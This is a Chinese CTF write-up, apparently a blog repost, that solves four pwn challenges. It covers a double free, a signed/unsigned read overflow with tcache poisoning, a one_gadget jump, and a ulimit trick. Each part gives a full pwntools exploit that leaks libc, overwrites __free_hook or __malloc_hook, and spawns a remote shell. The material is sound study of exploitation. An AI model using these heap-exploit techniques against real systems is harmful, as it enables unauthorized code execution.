BUUCTF-PWN刷题记录-22

ciscn_2019_n_2(double free)

在这里插入图片描述
delete的时候有一个double free漏洞
在这里插入图片描述
利用思路:
先用一个double free把0x602060(chunklist)申请出来,这样我们就能先修改里面的指针了,先利用GOT表泄露libc,然后写入__free_hook的地址并使用编辑写入system地址就行

Exp:

from pwn import *

menu = "Your choice: "
def add(content, age):
	r.recvuntil(menu)
	r.sendline('1')
	r.recvuntil("name:")
	r.send(content)
	r.recvuntil("age:")
	r.sendline(str(age))

def delete(index):
	r.recvuntil(menu)
	r.sendline('2')
	r.recvuntil("Index:")
	r.sendline(str(index))

def show(index):
	r.recvuntil(menu)
	r.sendline('4')
	r.recvuntil("Index:")
	r.sendline(str(index))

def edit(index, content, age):
	r.recvuntil(menu)
	r.sendline('3')
	r.recvuntil("Index:")
	r.sendline(str(index))
	r.recvuntil("name:")
	r.send(content)
	r.recvuntil("age:")
	r.sendline(str(age))

def add_money(index):
	r.recvuntil(menu)
	r.sendline('5')
	r.recvuntil("Index:")
	r.sendline(str(index))

def buy(index, addr, size):
	r.recvuntil(menu)
	r.sendline('6')
	r.recvuntil("Index:")
	r.sendline(str(index))
	r.recvuntil("input the address you want to leak:")
	r.sendline(hex(addr))
	r.recvuntil("input the size you want to leak:")
	r.sendline(str(size))
	r.recvuntil("data:[[[")
	addr = u64(r.recv(size).ljust(8, '\x00'))
	return addr

r = remote("node3.buuoj.cn", 28876)
#r = process("./ciscn_2019_n_2")

context.log_level = 'debug'
DEBUG = 0
if DEBUG:
    gdb.attach(r, 
    '''
    b *0x40106D
    x/10gx 0x602060
    c
    ''')
elf = ELF("./ciscn_2019_n_2")
libc = ELF("./libc/libc-2.27.so")
bss_list = 0x602060
free_got = elf.got['free']


add('KMFL\n', 1)
delete(0)
delete(0)
add(p64(bss_list), 10)
add(p64(bss_list), 10)
add(p64(free_got), 10)
add_money(2)
show(0)
r.recvuntil('name: ')
libc.address = u64(r.recvn(6) + '\x00' * 2) - libc.symbols['free']
free_hook = libc.sym['__free_hook']
system = libc.sym['system']
bin_sh = libc.search('/bin/sh').next()
success("libc:"+hex(libc.address))

edit(2, p64(free_hook), bin_sh)
edit(0, p64(system), 10)
delete(1)

r.interactive()

ciscn_2019_sw_7(强制转换溢出)

在这里插入图片描述
在my_read中有一个溢出,i是unsigned,a2是signed,计算时会强制转换为unsigned,如a2为0,减一之后就变为一个很大的无符号数
在这里插入图片描述
read的时候进行了偏移,导致我们不能直接修改fd
在这里插入图片描述
利用思路:

  1. 申请这么几个
add(0, 'chunk0')
add(0x60, 'chunk1')
add(0, 'chunk2')
add(0x60, 'chunk3')
add(0x60, 'chunk4')
  1. 把4,3,2都删除了,然后删除0,利用add(0)和partial rewrite把chunk1的fd改为heap_base+8,(这里要爆破一个16进制位,因为最后四位我们只能写成0x0008)
  2. add(0x60)申请到tcache控制结构,然后把0x100大小chunk的num置为7,0x20, 0x30和0x70置为0
  3. 删除0,再利用add(0)把chunk1的size改为0x71+0x20+0x70,然后删除chunk1,让他进入unsorted bin
  4. add(0x60),然后show2就能泄露libc,再删除chunk3,add(0x50)来把chunk3的fd改为__malloc_hook-8,写入one_gadget来get shell

Exp:

from pwn import *

#r = remote("node3.buuoj.cn", 27292)
#r = process("./ciscn_2019_sw_7")

context(log_level = 'debug', arch = 'amd64', os = 'linux')
DEBUG = 0
if DEBUG:
	gdb.attach(r, 
	'''	
	b *$rebase(0xE7E)
	x/30gx $rebase(0x202040)
	c
	''')

elf = ELF("./ciscn_2019_sw_7")
libc = ELF('./libc/libc-2.27.so')
one_gadget_18 = [0x4f2c5,0x4f322,0x10a38c]

menu = "> "
def add(size, content):
	r.recvuntil(menu)
	r.sendline('1')
	r.recvuntil("The size of note:")
	r.sendline(str(size))
	r.recvuntil("The content of note:")
	r.sendline(content)

def delete(index):
	r.recvuntil(menu)
	r.sendline('4')
	r.recvuntil("Index:")
	r.sendline(str(index))

def show(index):
	r.recvuntil(menu)
	r.sendline('2')
	r.recvuntil("Index:")
	r.sendline(str(index))

def pwn():
	add(0, 'chunk0')
	add(0x60, 'chunk1')
	add(0, 'chunk2')
	add(0x60, 'chunk3')
	add(0x60, 'chunk4')

	delete(4)
	delete(3)
	delete(2)
	payload = 'a'*8 + p64(0) + p64(0x71) + p8(8)
	add(0, payload)#2
	add(0x60, '/bin/sh')#3

	add(0x60, p64(0x0707000007070000)+p64(0x0707070707070707))#4
	delete(0)
	payload = 'a'*8 + p64(0) + p64(0x71+0x20+0x70)
	add(0, payload)#0
	delete(1)
	add(0x20, 'a')#1
	add(0x30, 'a')#5
	show(2)
	r.recvuntil(" : ")
	malloc_hook = u64(r.recvuntil('\x7f').ljust(8, '\x00')) - 0x60 - 0x10
	libc.address = malloc_hook - libc.sym['__malloc_hook']
	success("libc:"+hex(libc.address))
	free_hook = libc.sym['__free_hook']
	system = libc.sym['system']
	one_gadget = one_gadget_18[2] + libc.address

	delete(3)
	payload = 'a'*0x10 + p64(0x71) + p64(malloc_hook-8)
	add(0x50, payload)#3

	add(0x60, '/bin/sh')#6
	add(0x60, p64(one_gadget))#7
	r.recvuntil(menu)
	r.sendline('1')
	r.recvuntil("The size of note:")
	r.sendline('10')

	r.interactive()

if __name__ == "__main__":

	while True:
		r = remote("node3.buuoj.cn", 28119)
		try:
			pwn()
		except:
			r.close()

pwnable.kr_exploitable(_bss_start泄露_IO_2_1_stdout_地址)

在这里插入图片描述
程序逻辑很简单,先给你_IO_2_1_stdout_的地址,然后你给一个地址它去执行,自然想到one_gadget

在这里插入图片描述
Exp:

from pwn import *


r = remote("node3.buuoj.cn", 26497)
#r = process("pwnable_kr_exploitable")


DEBUG = 0
if DEBUG:
	gdb.attach(r, 
	'''
	b *0x08048583
	c
	''')

elf = ELF("pwnable_kr_exploitable")
libc = ELF('./libc/libc-2.23_32.so')
one_gadget_16_32 = [0x3a80c, 0x3a80e, 0x3a812, 0x3a819, 0x5f065, 0x5f066]

addr = u32(r.recv(4))
success("recv:"+hex(addr))
libc.address = addr - libc.sym['_IO_2_1_stdout_']
one_gadget = libc.address + one_gadget_16_32[0]

r.sendline(str(one_gadget-0xffffffff-1))

r.interactive()

pwnable_otp(ulimit命令)

这题比较神奇
本题会创建一个名字随机的文件,并且写入8比特的随机内容,之后把内容与输入比较,相同才能得到flag

在这里插入图片描述

这题需要利用到ulimit -f的指令,它会限制能够创建文件的最大大小,如果设为0就无法创建成功,而本题没有相关检查

在这里插入图片描述
Exp:

from pwn import *

s = ssh(host='node3.buuoj.cn',user='otp',password='guest',port=27061)
s.interactive()

'''a.py
import subprocess
subprocess.Popen(['/home/otp/otp', ''], stderr=subprocess.STDOUT)
'''

#ulimit -f 0

猜你喜欢

转载自blog.csdn.net/weixin_44145820/article/details/106141615